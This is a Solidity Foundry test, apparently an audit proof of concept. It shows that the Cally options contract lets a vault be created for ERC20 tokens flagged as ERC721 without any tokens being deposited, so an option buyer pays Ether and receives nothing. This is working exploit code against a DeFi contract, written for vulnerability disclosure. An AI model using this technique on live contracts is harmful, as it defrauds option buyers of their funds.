// CreateVault.t.sol
    function testStealFunds() public {
        // address of 0x on mainnet
        address t = address(0xE41d2489571d322189246DaFA5ebDe1F4699F498);
        vm.startPrank(babe);
        require(ERC20(t).balanceOf(babe) == 0);
        uint vaultId = c.createVault(100, t, 1, 1, 1, 0, Cally.TokenType.ERC721);
        // check that neither the Cally contract nor the vault creator
        // had any 0x tokens
        require(ERC20(t).balanceOf(babe) == 0);
        require(ERC20(t).balanceOf(address(c)) == 0);

        // check whether vault was created properly
        Cally.Vault memory v = c.vaults(vaultId);
        require(v.token == t);
        require(v.tokenIdOrAmount == 100);
        vm.stopPrank();
        // So now there's a vault for 100 0x tokens although the Cally contract doesn't
        // have any.
        // If someone buys & exercises the option they won't receive any tokens.
        uint premium = 0.025 ether;
        uint strike = 2 ether;
        require(address(c).balance == 0, "shouldn't have any balance at the beginning");
        require(payable(address(this)).balance > 0, "not enough balance");

        uint optionId = c.buyOption{value: premium}(vaultId);
        c.exercise{value: strike}(optionId);

        // buyer of option (`address(this)`) got zero 0x tokens
        // But buyer lost their Ether
        require(ERC20(t).balanceOf(address(this)) == 0);
        require(address(c).balance > 0, "got some money");
    }
